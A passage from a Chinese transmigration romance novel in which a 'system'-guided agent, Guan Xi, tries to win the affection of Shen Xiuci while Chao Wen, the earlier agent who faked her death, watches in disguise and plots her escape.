可,出于谨慎,她在心里再一次确认系统:“你确定那个叫朝玟的已经死了是吧?”
“我确定。”系统回答的很肯定:“攻略者除非生命受到严重威胁,否则不可能和我解绑,她和我解绑的很彻底,我确定她已经死了,死得透透的。”
关曦这才彻底放心,同时遗憾道:“哎,那真是太可惜了。”
她对朝玟,很好奇。
她来这个世界之前就听说,局里有个人叫朝玟,是从辅命组转来攻心组的,长得很漂亮,能力很强,尽管她早就进入了书中的世界,人不在局里,但攻心组和她短暂相处过的的同事,仍时不时的会提起这人,说她舅舅眼光好,这样的人才,早就该来攻心组了。
关曦没见过这人,但知道舅舅将这人转组,绝对不是出于爱才,而是忌惮:以朝玟的能力,取代她舅舅的位置,只是迟早的事。
所以,朝玟死了,不然她也不会出现在这里,接替她的位置,收拾烂摊子。
关曦在脑内说:“系统,看下好感度。”
系统弹出界面:【正在为您分析……沈修慈对您的好感度为:40,请再接再厉。】
关曦:“呵……也不过如此嘛。”
系统吹彩虹屁:“大小姐真是太厉害了!您只是和沈修慈聊了一路,就顺利的开启了任务,还获得了这么高的好感,要知道之前的攻略者,和沈修慈成亲当天的好感只有区区10个点呢,沙执行官请您出马,确实是明智之举,您的出现,简直如有神助!太好了,我们有救了!”
关曦:“这次任务,只能成功,不能失败,一旦失败返回现世,招来监察者回溯失败的过程,发现朝玟已经被舅舅逼死,那可就麻烦了。”
系统也端正严肃了语气:“大小姐打算怎么做?”
“和昆仑联姻这条路,还是保持不变,毕竟是前者差点就成功的一条路,还是有值得借鉴的地方。”关曦只是高傲,但并不是盲目的傲慢,既然有成功的捷径,她当然要模仿。
关曦质疑:“他到底有没有认出我?好感度40,对于初见来说已经很高了,要是认出我就是蓬莱王姬,他为什么对我仍然跟陌生人一样?难道不该对我这个未过门的未婚妻,做出一些表示吗?”
系统搜索资料,“蓬莱一直久居渤海与世隔绝,狱法之乱后也不曾参与仙域事务,沈修慈作为新贵之流,不知道王姬令牌,也是正常。”
“你是说他没认出来我是谁?”
关曦先是挫败,接着眼眸一转,勾起嘴角:“这样一来,那也对我有利。”
在人间对一个陌生的女子动心,再回去看见他悔婚的人就是那个念念不忘的对象,想必到时候他内心,应当会很有趣。
“得趁着这个功夫,把沈修慈的好感刷到60以上。”关曦:“到那个时候了,我就不信他不撤回悔婚书。”
关曦一想到从昆仑发来的那一封悔婚书,便心里不踏实,端起茶水喝了一口。
她本想复刻朝玟攻略的经验,也和沈修慈来个先婚后爱,但谁知,却在最开始的大婚步骤就出了差错。
沈修慈做事从来稳妥,可那一天,谁也不知道他为什么要毫无预兆的突然悔婚。
昆仑和蓬莱要是真的结束姻亲关系,关曦就没办法刷好感,好感上不来,攻略任务便无法开启,无法开启,那她便回不去。
关曦绝不答应悔婚,便去昆仑追问,她好歹也是个准君后,沈修慈总得给她个说法吧。
结果去了两天,连人的影子都没见到,昆仑殿的岑源好吃好喝招待她,说君上忙,让她稍等。
可关曦有系统定位,知道他早就不在昆仑了。
不在昆仑,那他去了那儿?
霜澜城。
系统说,这是一个剧情节点,之前,是朝玟前去平定城中魑魅祸乱,这次因为朝玟不在,所以剧情产生了偏移。
此祸乱非同小可,上一次朝玟吃了很大的亏,差点命都交代在那里,沈修慈一个将天下安宁视为自己性命的人,忽略婚姻而亲自去处理这桩事件,也是情理之中。
所以,沈修慈悔婚,是因为霜澜城的祸事造成的。
系统它说得句句在理,可是关曦总觉得哪里不对,可沈修慈确实是去平乱了,这一点又无可作假。
关曦只得先放弃在昆仑蹲守沈修慈,改变计划,也跟着动身下界。
既然联姻行不通,那就先和沈修慈打个照面,也是照样刷好感。
她既然是她的未婚妻,就不怕他不动心。
她是攻心组的,讨厌那些打打杀杀,所以在沈修慈动身离开霜澜城之后,关曦才现身,在半路拦截他的船只,创造出一出英雄救美的戏码。
这样将好感度刷够,等回去后,蓬莱和昆仑的婚姻,便也能顺理成章的继续推进下去。
关曦暗暗决定。
她此番下界,势必要拿下沈修慈的心。
就算拿不下,也要让沈修慈在回到仙域之后,无法拒绝她。
亡羊补牢为时不晚,绝不能功亏一篑。
……
朝玟见关曦看到她之后,神色无异常,继续和沈修慈交谈,便知道脸上已经成功动了手脚。
她内心紧张的心绪平复下来,看了一眼沈修慈。
还真的帮她了?
做了对朝玟完全有利,而他半点好处都没有的事,不问理由,只是开了一个那样简单的条件?
说谎与否……判定的标准完全在她自己嘛,就算是她答应了他,他也对她没有丝毫的约束力。
朝玟完全可以随心所欲,沈修慈帮她易容,相当于白给。
她实在难以理解沈修慈的真正用意。
沈修慈品着茶水,目光淡淡地扫过她,随后转向窗外,对于关曦的谈话,只是偶尔以简短的音节回应。
菜肴陆续摆满了桌面,关曦热情地向沈修慈介绍着每一道菜背后的故事。她对这些餐桌上的礼仪了如指掌,应对得体,对待沈修慈更是极尽周到,热情洋溢。
“道君尝尝看,这道菜是不是如我所说,入口即化?”
关曦给沈修慈夹了一块肉。
朝玟低头扒饭,吃着同款的肉,眼睛瞅着沈修慈看戏。
这块肉的确入口即化,朝玟觉得酱味十足,很好吃,她给大大的好评。
只是沈修慈从不吃这些东西,不知道在关曦的推荐之下,他能不能忍着入口?
沈修慈看了一眼碗中的油腥之物,又看向吃饭吃得喷香的朝玟,与她幸灾乐祸的眼神对上。
他突然就拿起筷子,将那片肉送入了口中。
朝玟扒饭的动作停了下来。
他却是面色平静,微微点头,评价道:“的确美味。”
关曦本有些忐忑,她觉得好感到了40点,这点小要求,沈修慈应当不会拒绝,可是之前同行的前车之鉴又在心里发出声音,告诉她没这么容易。
看到沈修慈不仅没有拒绝,反而给出了正面的评价,关曦的眉眼间立刻绽放出笑容。
她心
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中暗想,自己如此出色,理应得到所有人的偏爱,果然,沈修慈自然也不会例外。
“那道君再尝尝这个!”
只是这一次,沈修慈没有再接受关曦的投喂,拒绝道:“不必,我自己来。”
朝玟怔愣的看沈修慈一口接一口,几秒后才回过神来,嘴里嚼巴嚼巴,却感觉没什么滋味。
怎么关曦对他说什么,要他做什么,他就这么配合?
自己攻略他的时候,只是想和他多说两句话,都难如登天?
这差距让朝玟有些愤愤,她化悲愤为食欲,吃得更加起劲。
只是对面一直有一道无法忽视的视线,盯着她的一举一动。
朝玟不看他,也一句话不说,只是吃一口就在心里抗议一句。
看什么看?她看起来下饭吗?
怎么吃的菜都是她夹过的,是学人精吗?
……
沈修慈盯着对面,关曦则时时刻刻关注他,每见他吃几口,就问他味道如何。
沈修慈对食物的味道似乎并不敏感,无论吃什么都说“好”,表情始终淡淡的,仿佛对任何口味都能泰然处之,没有特别的偏好。
可这样怎么行?这是沈修慈第一次吃人间的美食,自然需要新鲜感,若是他对所有的菜都毫无表示,岂不平淡无奇?她还怎么发挥?
关曦有意想要增进感情,故意给沈修慈推荐了一道特殊的菜,菜热腾腾的端上来,她便开始滔滔不绝地介绍起来。
她说得太诱人,勾起了朝玟的馋心,忍不住偷偷伸出筷子。
就在关曦还在给沈修慈下套,倾情推荐的时候,朝玟这个无辜的小馋鼠不请自来,悄悄地伸出了她的筷子。
在无人注意的角落,她的筷子轻轻一掠,顺走了一点边缘的菜叶。
“沈道君,您真的必须尝试一下,只有亲自品尝,才能领略其美味。”关曦正说着,突然听到对面传来一声怪动静。
“咳!唔……”
朝玟剧烈的咳嗽了一声,又捂住嘴巴,脸肉眼可见的红了一个度。
“你怎么了?”
关曦终于又侧过脸来看朝玟,面露困惑。
朝玟疯狂摆手:“我,吃、吃快了……不妨事,你们继续,不用理我。”
她压抑着从喉咙上升的辣意,说完这一句,飞快提起壶给自己倒了杯水,往嘴里灌。
关曦不满地瞪了她一眼,责备道:“小心点啊,吃那么快干什么。”
她看着朝玟那副模样,心中有些惊慌,像是要吐,害怕她真的吐出来了,又叫来小二送来一壶清水。
可别呛死了。
朝玟一杯接一杯,连喝三杯,漱了口,才觉得好些,只是仍然觉得辣,但怕被发现偷吃,不敢咳嗽,拼命捂嘴,捂得眼泪汪汪,愣是没咳嗽一声。
呵,开玩笑,她朝玟一生要强,绝不能让关曦看出端倪!也不能在沈修慈面前承认,她快被辣死了!
朝玟又仰头送了一杯茶入喉,后怕又狐疑的看向桌上那盘完全看不出有辣椒的菜,然后目光上移,看向对面端坐的人。
沈修慈嘴角噙着一抹淡笑,正目不转睛的看她。
笑什么笑?看她被辣成这样,很好笑吗?
朝玟瞪了他一眼,脸颊微微发烫,左手并拢轻轻扇着风,那边关曦还在劝说,心中不禁感叹。
这关曦,真是独树一帜,完全不按常规行事。
点这么辣的菜,难道是想看沈修慈出糗?
出糗之后呢?
朝玟不是攻心组的正式组员,想不到她们的套路,根本不知道接下来关曦打算怎么做。
算了,又不是她攻略沈修慈,不知道就不知道吧。
只是她已经试过了,出了洋相,沈修慈看过她的样子,怎么还会再上当?
然而,沈修慈接下来的动作却让她目瞪口呆。
他拿起筷子,毫不犹豫向着那盘辛辣的菜肴伸去。
不是吧?她都被辣成这样了他还要尝试?这是有多听关曦的话啊?
朝玟惊恐地瞥了一眼那盘菜,不可置信的用眼神示意他:你确定?
38. 逐渐亲昵
关曦的眼睛微微睁大,眼神中流露出满满的期待。
沈修慈吃下那一口让朝玟狂饮三大杯的菜之后,神色依旧如常。
关曦笑着轻声问:“怎么样?”
沈修慈点点头:“稍微有些辛辣,尚能接受。”
关曦上扬的嘴角一僵。
朝玟则是用惊恐的眼神看他,不停的在他的脸上打量,想要看见他露出不适的表情。
可是,没有。
沈修慈一直面色如常。
朝玟眨眨眼,还是发现了一些端倪。
他的耳朵渐渐的红了起来。
其实还是有感觉的。
朝玟对他的反应了如指掌,知道他只是在强忍,她还是第一次看见沈修慈失态的模样,抿唇想笑又不敢笑,只眼中泄露出一丝促狭。
他也并不是像表面上看起来这样淡定嘛。
关曦心中震惊:“这还是人吗?沈修慈是什么天生吃辣圣体?”
系统也感觉震撼,一通分析道:“他并不是没有反应,应……应当是久在战场,受过的伤比较多,所以比常人要更能忍痛吧?毕竟辣的感觉本质上就是一种痛觉,大小姐,您不是打算攻略他吗?何苦这样捉弄他呢?”
关曦:“如果不跟他下一剂猛药,猛地拉近一下关系,他这副不咸不淡,和我只客气不亲近的样子,再怎么聊,好感也不会再有什么实质性的提升。”
“他若出丑,我便是第一个看见他狼狈样子的人,但这狼狈又不伤脸面,只是玩笑罢了,在此之后,在他心中,我自然便比旁人要更特殊一些,成功了第一步,之后再想要暧昧,也就容易多了。”
“大小姐真是厉害,只是,沈修慈没有出丑,那计划岂不是……”系统欲言又止。
关曦冷哼一声:“这次不行,难道没有下一次?”
“只要我和他能在一起,多的是机会。”
“不怕他不中招。”
……
这顿饭终于是在关曦的折腾下结束了。
只是朝玟要去取船的时候,关曦叫住了她。
三人结了帐,从酒楼中走出来,关曦脸蛋柔和而精致,柳眉弯弯,鹅黄色衣裙轻柔的在风中飘舞,犹如一朵迎风盛开的芙蓉花。
她对朝玟笑着问道:“赵姑娘,不知去往京城还需多久?”
朝玟想了想:“现在出发的话,明天清晨就能到。”
“那岂不是要在船上待一夜?”
关曦皱眉,觉得不妥:“船上加了我,可还能过夜,况且夜晚孤男寡女共处一个船室,也颇为不便,要不就在这里住一晚上,明日一早再启程,这样也妥当,沈道君你说呢?”
关曦古怪看了眼朝玟,将她归为了外人的行列,亲昵的征求沈修慈的意见。
沈修慈问朝玟:“你觉得呢?”
关曦生怕她不答应,快语嘟哝道:“她肯定也是这样想的。”
朝玟:“……”
她只想甩掉沈修慈,差点忘了,她和沈修慈在关曦眼里,还是孤男寡女这一回事。
朝玟还是第一次在别人的眼里和沈修慈是完全不熟,需要惹得其他女人忌惮的关系。
她觉得怪好笑的,可是心中却不知为何,莫名不适,于是她用笑容来掩饰自己的情绪,点点头道。
“确实如此,关姑娘考虑得非常周全。的确是我欠考虑了,那两位就在驿站好好休息一晚,不必急于启程。”
关曦一脸“我就说是这样吧”的表情,带着一丝俏皮和得意,对朝玟说道:“那就劳烦赵姑娘帮忙安排几间房间了。我的房间,一定要光线充足,环境优雅,而且要和沈道君挨在一块。”
“去吧。”她随手扔给朝玟一袋银子,将她打发了。
她摆出低姿态,肩膀和沈修慈的肩膀几乎相贴,撒娇道:“沈道君,我看这方国的红枫颇为好看,要不要一起去观赏?”关曦怕他会推辞,又说:“不远,就在这附近。”
沈修慈默许了她的靠近,没有躲开。
朝玟双手捧着装着满满银子的钱袋,站在两人面前。
她脸上带着笑,可是笑容不达眼底,眼中略有些茫然。
很奇怪,关曦对沈修慈不断展开攻势,而沈修慈对她逐渐熟悉,逐渐没有功夫再搭理她,这本是她所乐见其成的。
沈修慈被关曦邀走,朝玟便可以趁机摆脱他的跟随,顺利地离开这个地方。
然而,她并没有像之前想象的那样感到开心。
逃离的计划,每一个步骤都在她脑海中清晰地勾勒出来,理智为即将到来的自由而兴奋不已,但她的心情却异常沉重,低落得让人意外。
这种感觉,让她一直不断的在脑海里回想着自从关曦来了之后,沈修慈和关曦相处时的点滴细节。
他和她说了许多话,话题多的像是聊不完。
还默许了关曦不断试探他的边界,和他靠得越来越近。
他对关曦的要求,无不配合,即便知道,她是想要捉弄他。
可她为什么要在乎这些?
她并不觉得,在沈修慈想要带她回昆仑,以她的存在向蓬莱谢罪这一事实面前,她有任何要为此而失落的必要。
她此时应该积极的逃离,将沈修慈摆脱,再重新恢复到往日平静的生活,这才是她最需要的考虑的事。
可虽然她完全清楚孰是孰非,可是理智和感情就是互相背道而驰。
朝玟觉得自己脑子可能出了毛病,也有可能是刚结束霜澜城的恶斗,身体还没恢复过来,因此大脑才无法做出最正确的判断。
她可能累了,需要好好休息一下。
就当朝玟在自我怀疑的时候,沈修慈开口做出了回应。
“我累了。”沈修慈拒绝了她说:“关姑娘要是想去,请自便。”
关曦撒娇:“可是……我真的很想去看,沈道君就陪陪我嘛。”
沈修慈问:“可我为什么一定要陪你?”
这一反问让关曦一时语塞,她从未想过,自己想要别人满足自己的愿望还需要什么理由。
她愣了半晌,终究没能给出一个答案。
沈修慈罕见地没有给出任何解释,又回归了最初在船上刚救下关曦时,想要逐客的冷淡。
他的目光转向了朝玟,简短地对她说:“不是要去定客房吗?一起走吧。”
朝玟愣愣地站在原地,手里傻傻地捧着钱袋,仍然陷在混乱的思绪之中。
她下意识地应了一声,随后跟在了沈修慈的身后。
……
她跟着沈修慈往客栈的方向走。
因为位临要道的缘故,水陆兼容,驿站又大又繁华,即便是在人不多的淡季,驿站内也是熙熙攘攘。
成群结对的走商和来往的旅客,让两人很快就融入进了吵杂的队伍里,身后的关曦被人群隔开,朝玟回头看了看,压根看不见她的身影。
客栈于食肆隔得不远,但是也不近,正好要走过人最多的一条路,两个人在人群中挪动,行走得很慢。
沈修慈突然问她。
“刚才听旁边一桌的交谈,聊到这里的方国有一条吃喝玩乐街,想不想去逛逛?”
吃喝玩乐街……朝玟没想到这么好玩儿的名称,会从沈修慈的这张嘴了蹦出来。
朝玟被他这一句话唤回了神,勾起嘴角,但没有立刻回答他的话,她有更想要知道的事情,尽管她努力装作只是出于好奇,但语气中却不自觉地流露出了一丝僵硬。
她状做若无其事的问:“对了,你刚才明明看到我吃那道菜的样子了,为什么还要上当?”
朝玟很好奇他究竟是怎么想的。
沈修慈像是叹气,又像是轻笑了一声,“关姑娘为了让我中计,可谓是费尽口舌,我岂能拂人美意。”
朝玟对他的最后一句发出一声冷哼:“那菜辣得那么变态,你该不会不知道,她想要看你出丑吧?”
沈修慈:“若是不按她的意愿来,她岂会善罢甘休。”
“索性依从她,耳边也能清净些。”
这确实是沈修慈的一贯风格,对于非原则性问题,他总是避免直接冲突,选择以平和的方式解决问题。
只是沈修慈的妥协,让朝玟依旧觉得不满意,假装无意的问道:“你不会看不出,她对你有意思吧?”
“她对我有意?”
沈修慈重复了一遍朝玟的话,语气中带着疑惑,神情依旧是淡淡的,只是细微的表情中,多出了一丝无奈的嘲弄。
“关姑娘性子高傲,眼高于顶,除了她自己,她不把任何人放在眼里。”
沈修慈说话真是一针见血,朝玟也笑了一声。
关曦除了沈修慈和她自己,她几乎不将任何人视为平等的存在,与关曦短暂的接触,她对此已经深有体会。
沈修慈:“她对我百般示好,和常人不同,也不是因为对我有意,只是因为她想满足她自己。”
“我在她的眼中,和任何她喜欢的一件物品,没什么不同,又何来尊重?”
朝玟心情好了起来。
她大概知道,她为什么之前看着沈修慈和关曦总感觉心里郁闷了。
因为沈修慈对关曦表现得太顺从了,太配合了,要知道,在朝玟攻略他的时候,他的情感好多年都几乎未曾有过波动,对她的态度始终是不温不火。
何故攻略他的人,换成了关曦,沈修慈的态度就一百八十度大转变?
同样是攻略他,朝玟对他十分客气,而关曦则放肆,所以沈修慈应付她们的
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措施才有所不同。
他对关曦和对朝玟,一视同仁,并没有觉得关曦特殊。
在想通到这一点后,朝玟感到呼吸都变得顺畅了许多,整个人神清气爽。
沈修慈又提议:“所以,要去玩儿吗?刚吃了饭,正好消消食。”
朝玟想看看吃喝玩乐街是什么样的,但转念又一想,道:“那我去把关姑娘也叫上。”
“她和我们只是同路,并不同行。”沈修慈:“况且她也说过不会给我们添麻烦,你何须为她操心?”
朝玟笑着反问他:“我和你既不是同路,也不是同行,怎么在你口中就成”我们”了?”
沈修慈面不改色直截了当道:“我和你是夫妻,当然是我们。”
朝玟突然立正,站在原地,震惊得语塞,“你……”
她的内心很惊讶。
先前还不愿承认,一口一个“她夫君”,怎么才不到半日,就接受了自己为人夫的身份了?
可他并不记得他们之间的过往,那么他为何会突然说出这样一句直白的话?
是为了迷惑她?进而想要更加容易的将她带回去?还是因为夫妻这样的一种关系让他突然产生了责任?因此才想要强调这一身份?
朝玟停下来,沈修慈则很自然的牵住她的手腕,拉着她继续往前走。
“人来人往,不要突然停下。”
朝玟回头,慌张四下张望,没有看到关曦的身影,靠近他急忙压低声音,咬牙切齿道:“你小声点,不要再讲这样的话。”
沈修慈虽然脸不是那张熟悉的脸,可气息和身形都还是一样的。
被他拢住的手腕微微发烫。
朝玟做贼似的甩开他的手,小声嘀咕:“拉拉扯扯像什么样子,要是被关姑娘看到了怎么办?”
沈修慈的眉眼冷淡了下来。
自关曦登船以来,沈修慈一直在配合朝玟,强忍着不追问原因,但心中不断积聚的不满和疑问却难以自抑。
快走到客栈门前,沈修慈见四下无人,便出声问:
“你从刚才开始就举止异常,故意在制造机会让我与她相处,这是为什么?”
他的语气不带压力,可是朝玟却不敢回答。
她答不上来,后撤一步,眼神往前瞟,弱弱抬手向前面指了指。
“……我还是先订客房吧,我也累了。”
沈修慈静静地站在原地,感受到她不经意地轻轻撞了一下他的肩膀,随后朝玟匆匆走到柜台前,背影透露出一丝难以掩饰的心虚。
他有很多疑惑想要问,可是朝玟要么就是用谎言来搪塞他,要么就是回避这些问题,从不直面回答。
他总是在心里面说,不急。
朝玟从未有过向他坦白一切的打算,她总是逃避,对他充满了戒备和抗拒。
他如果稍微流露出想要探究曾经的欲望,她就如同一只惊弓之鸟,紧张不安。
此时他们还能够和睦的相处,也仅仅是因为朝玟根本就没有办法摆脱他。
朝玟的身上有他想要得知的一切,可是他知道不能操之过急,否则结果只会适得其反。
可是他已经没有多少时间可以再在这里停留了。
岑源一天三封灵讯,顶多还能再拖三天。
朝闻多次表示不愿意和他再产生瓜葛。
沈修慈也能够表示理解,可是理智和情感有时并不能时时统一,总要做出一个选择。
他选了,所以,他不愿意。
作为序昼的徒弟,昔日的战神将军,现在的昆仑之主,他从没有机会为自己考虑,身在高位,必须具备一颗顾全大局的公心。
这是他第一次违背理智做出的决定。
自从他认出朝玟之后,一旦她的身影从他的视线中消失,他便会无故感到心悸。
恐惧深不见底,牵扯心脏,沉重又剧烈跳动的感觉,令他感到陌生又心惊,即便在他镇守仙魔边界的那几年,数次在生死边缘游走,他也未曾体验过如此强烈的情绪。
只有朝玟在他的面前,他心中的躁动才会平静下来。
这然他常常感到困惑,他从小没有父母,师父也已陨落,对他重要的人,全都已经不在。
因从小亲缘淡薄,他早早就明白人生无常,任多少眷恋,朝夕之间,转眼成空。
昆仑的雪又冷又寂寞,更何况,高处不胜寒,他早已习惯从不把任何人当作寄托。
他这样的一个人,为什么会对一个人产生这样强烈的执念?
他不明白朝玟,更不明白他自己。
或许等他找回丢失记忆的那一天,他会做出更理智的决定,或者到了那时,他也会为现在的冲动而感到后悔。
但现在,他只想跟着自己的心。
39. 出去逛逛
关曦站在原地,看着沈修慈和那个姓赵的代驾并肩消失在眼前的背影,感觉很生气。
她站了半天,对系统感觉荒谬的嗤笑一声:“他刚刚说什么?他问我,他为什么要陪我?他拒绝我?”
系统绞尽脑汁安抚:“额……这,或许只是随口一说,大小姐您不要跟他计较……”
关曦此刻急需找一个出气筒,截断它的话,吼道:“他把我晾下了,你是没听见他的语气吗?随口一说?还从没有人敢这么对我说话!”
关曦人生头一次听见有人对她这么说话,也头一次被人这么质问,气得五内翻腾,胸口气愤的起伏不止。
她费心费力的讨好他,难道他感觉不出来吗?
不过是邀请他一起去赏个景,她对任何男人,都没有过那么好的语气,沈修慈怎么就能毫不犹豫的拒绝她?
系统劝说:“大小姐,要不咱们再跟上去,再试试别的办法吧?”
关曦一口拒绝:“这人不知好歹,我还上去腆着脸干什么?”
她因为沈修慈的一句话触了她的逆鳞,对他丧失了攻略的欲望,甩袖不耐,负气道:“要我说,打道回府,回蓬莱,这怀柔攻心任务,谁爱做谁做!我是做不了了。”
大小姐脾气上来,急火攻心,臭着脸就站在原地。
系统见她发这么大脾气,也着急,费劲巴拉的哄。
“大小姐,小祖宗哟,今时不同往日,就再忍耐一下吧,难道你忘了,沙执行官让你来的目的了吗?”
关曦听到系统提起这一茬,表情中的愤怒有所收敛,虽仍然是拒不配合的强硬模样,但她并未打断系统的话。
系统见她还能听进去话,又道。
“您也说过了,之前的攻略者在任务过程中死了,这一消息要是传回局里,一定会引起上面的重视,要是被监察者查到你舅舅都对朝玟做了什么,他执行官这个位置,还要不要坐了?”
系统继续苦口婆心:“大小姐,监察者可不是随随便便就能打发的,要是真的把你舅舅带走调查,不仅是我,您家也会跟着遭殃的,况且您也趟了这趟浑水,要是真的查,您能把自己摘干净吗?”
“您就算是为了您自己,也要把这个任务接着做下去。”
关曦听见她自己,眼中总算是浮现上思量认真的情绪,想到要是监察者介入,自己会面临的下场,胸口的怨气直接散了一大半,柳眉微微皱起,面上变得凝重。
“只有你代替朝玟,成功做完任务,从这世界中回去,才能彻底的让朝玟被逼死这件事被掩盖过去,您和您的舅舅,包括我,才能逃过一劫。”
系统的声音在此刻变得沉郁,它给了关曦一些时间来消化这些信息,然后停顿了片刻,才继续用缓慢的语调说道:“唯有成功完成任务,我们才能弥补为了回溯时空所作出的牺牲,否则天道那边……你我都不好交代。”
“这一切,您明白吗?”
……
朝玟一回到客房,看到床,身体就失去了所有支撑地力气。
她像一条咸鱼般躺倒在床上,大脑随即进入了一种断线的状态,沉沉地睡去。
再醒来,已经到了申时,阳光依然热烈地照耀着窗外,将一切染得炽白而明亮,这一觉,让她浑身舒畅,久久不愿意从床上起来。
朝玟伸了个懒腰,看着素净的天花板,耳边终于又恢复了她在京城时家宅中的安静的状态,令她不自觉,感到满意的翘起嘴角。
没有魑魅的咆哮与置身死境的危机需要她应对;没有人与人之间对权势争夺,不死不休的勾心斗角;也没有日夜催命的好感度在她眼前,令她要想方设法的讨人欢心,一刻也不能停下来。
有的只是闲适的时光,就这样虚浮度日。
朝玟的眼睛轻缓的眨了眨,感受着自己呼吸的声音,以及空气在身边的流动,看向一旁物品被柔和的光线分割的光影。
安全,平静,悠闲,她一天要是没事,可以从上午躺到下午,再去酒楼吃吃喝喝,听美男弹曲哄她高兴,除了偶尔缺钱之外,没有别的烦恼。
多爽。
这才是她理想中的生活呀。
怎么偏偏,又遇到了沈修慈呢?
朝玟想到这里,眼睛垂下,一撇嘴,哼哼唧唧抓狂地在床上翻滚,滚了一会儿,又舒舒服服的抱住被子,平静下来。
倒也不是说遇到沈修慈不好……本来这一切,都和她死遁前没有把因果处理干净有关,她再次遇到他,她也认了。
朝玟神思飘忽,想到这里,她不由得就想到她死遁之后的经历。
朝玟坠落崖底后,并不知道具体发生了什么。
只知道当她再次睁眼,恢复对世界的感知的时候,她的魂魄已经找到了一具身体。
这身体和她自己在现实世界中的一模一样,远山眉如黛,眼睛大而有神,黑白分明神采温润。
她对魂魄是如何找到这具身体的,没有丝毫印象。
倒是郑舒一袭青衫从屏风后走出来,看见她醒来,随手将药搁置在桌面,哐啷一声。
由于动作太随意,药洒出来几点。
“总算是醒了。”说着,他没骨头似的,懒懒坐在一旁的藤椅上。
朝玟看着那药碗,指着自己,犹豫道:“给我的吗?”
郑舒:“你没病,喝什么喝?待会你自己下床拿去倒了就行。”
那时候,朝玟并不认识他。
只是感觉,他那腔调有些耳熟,很像是一手将她提拔起来的前执行官。
只是虽然像,却不可能是他。
她那亦师亦友的执行官很倒霉,被革职了不说,还被赶回了老家,就此与穿书这份工作无缘,朝玟已经快半年没见过他了。
朝玟在这里遇到他的可能性,比飞船袭击这个世界的概率还低。
她心中对执行官一直都心怀感激,要不是他说过的话启发了她,她也许就会被拖入阴谋的漩涡,根本不可能摆脱系统,重获新生。
朝玟想到那位英明的长官,此时看到腔调相似的人,难免心中落寞,更觉得亲近。
郑舒说,是他从荒郊野岭救了她,明明还有一口气,可就是一直昏迷不醒,好在睡了许久,终于醒了。
朝玟当时问:“我睡了多久?”
郑舒稍加思索:“想不起来了,但也没多久。”
朝玟根据这熟悉的语言习惯,估摸她应该躺了一个月左右。
他提出要求。
“这救命的恩情,你得还给我。”
朝玟问:“怎么还?”
郑舒稍加思考:“灵闻阁尚需人手,你就留在这里给我打杂工吧。”
朝玟对灵闻阁也有所耳闻,乃是人间第一情报组织,原以为所谓的打杂工作不过是轻松地递送文件之类的小事,于是毫不犹豫地应承了下来。
然而,她很快就被引导至一个阁楼之中,整理档案。
也不知道这个偌大的组织是如何存续的,只收集档案,却不收拾,纷乱的书简和卷轴如同头屑,朝玟像是一只勤劳的蚂蚁,忙忙碌碌做了十天,根本无暇过问外面的事。
十天后,时间突然就回溯了。
时间回溯之后,灵闻阁变成了一个光秃秃的山头,朝玟看着楼阁顷刻变成平地,在广阔的天穹下久久站立,一时间不知道该往哪里去。
她想到这十天里,郑舒有一次来找她聊天,说是聊天,其实是监督她有没有认真的完成工作。
朝玟百忙之中和他闲聊了几句,他提到在人间有一处方国,风景很不错,他时常会到那边去,若是他突然消失,多半就是回了那里。
朝玟在醒来之后,唯一的身份是灵闻阁给的,正好她现在也不知道做什么,索性就还是去找了郑舒。
而完全不记得她的郑舒,接待她时依旧懒洋洋的,朝玟听说他手底下正好有一个做代驾的产业名字叫作千里记行,正好朝玟以前也干过一段时间的代驾,毛遂自荐,郑舒就也收留了她。
她继续为灵闻阁卖命,稀里糊涂的就在京城定居下来。
……
这就是她从死遁到现在的全部经历,对朝玟来说,和沈修慈分离那天到如今,只过去了三个多月,不算久,当时的场景,也称得上是生离死别,她对当初依旧记忆如新,暂时还忘不了。
她不辞而别,难免感到愧疚,但沈修慈没了记忆,对一个没有记忆的人想要解释,实在是多此一举,这点愧疚便也无处立足。
现在她对现在的生活无比满意,他们相遇,是朝玟由于疏忽犯下的一个错误,在她看来,既然是错误,就得及时纠正。
现在的情况是,沈修慈要带她回去,而关曦想带沈修慈回去。
关曦现在没有明说,可是她用令牌表明身份了,蓬莱王姬的令牌仅此一块,就和沈修慈的警世剑一样,极具身份特性,沈修慈不可能不知道关曦就是蓬莱王姬。
朝玟只需要削弱沈修
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慈想要跟着她探究他们之间过去的想法,加强关曦带沈修慈回去的可能性,她就能够顺利的逃之夭夭。
反正同心印这事,沈修慈自有办法应对,这点差错,可以忽略不计。
天南地北,再隐姓埋名,谁能找得到她?
越想越觉得可行,机不可失,失不再来,错过这村没这店,关曦可是一个很好的契机,不能就这样放过了。
要不……刺激刺激关曦,看看能不能让她采取些非常手段?
朝玟想到这里,睡意全无,一骨碌从床上爬起来。
……
朝玟没想到,她和关曦的想法不谋而合,那边关曦被系统一番话醍醐灌顶,已经认识到了这次任务的严重性,开始着手准备新一轮的攻势了。
她换了一身衣裙,颜色是和沈修慈登对的月白色,妆容也用了些巧思,更加的华丽精致。
她步履轻盈,姿态优雅地走到沈修慈的房门前,轻轻敲响门扉。
沈修慈在房间里,听到敲门声,打开门。
只见关曦站在门外,他将门推开半边,目光中带着询问之意。
关曦双手垂落在身前,笑容灿烂,只当作中午的不愉快不存在,歪头笑问:“道君休息好了吗?”
沈修慈点点头算作回应,礼貌问道:“关姑娘,有什么事?”
关曦思忖着开口:“我想……反正下午也无事,不如出来转一转?我听说这方国有一条街,颇为繁华,也距离这不远,不如去那儿转一转,再回来休息?”
她想了一下,沈修慈也不是寻常人,从沈修慈这里另辟蹊径,显然行不通,还是要循序渐进,先从朋友开始做起,慢慢的打开他的心防。
沈修慈点点头,答应了。
关曦脸色浮现喜色,又听得他说:“那我去叫上赵姑娘一起。”
关曦脸色微变,笑着欸了声,制止他:“沈道君别啊,叫那个代驾干什么?就我和你不好吗?”
沈修慈:“代驾只是赵姑娘的职业,和你我并无不同,还请慎言。”
关曦连忙补救:“好了好了,我说错了,瞧我这张嘴,我就是心直口快,没有别的意思。”
她又找借口阻拦:“现在才过午时,赵姑娘现在应该还在休息呢,道君就算要叫上她,恐怕也不好现在打搅她。”
沈修慈听后,也目露犹豫。
就在关曦以为势在必得的时候。
吱呀——
一声轻响,门扉推开的声响在关曦的背后出现。
朝玟是按照关曦的要求定的房间,让她的和沈修慈的房门挨着,房间与房间之间,只有一墙之隔。
她自己就随意了,谁知房间的编号看上去相隔很远,其实就在沈修慈房门的对面。
朝玟一推开门,就看见了精心打扮的关曦站在沈修慈的门口,二人正在聊着什么,看见她出来,齐齐停下说话。
朝玟:?
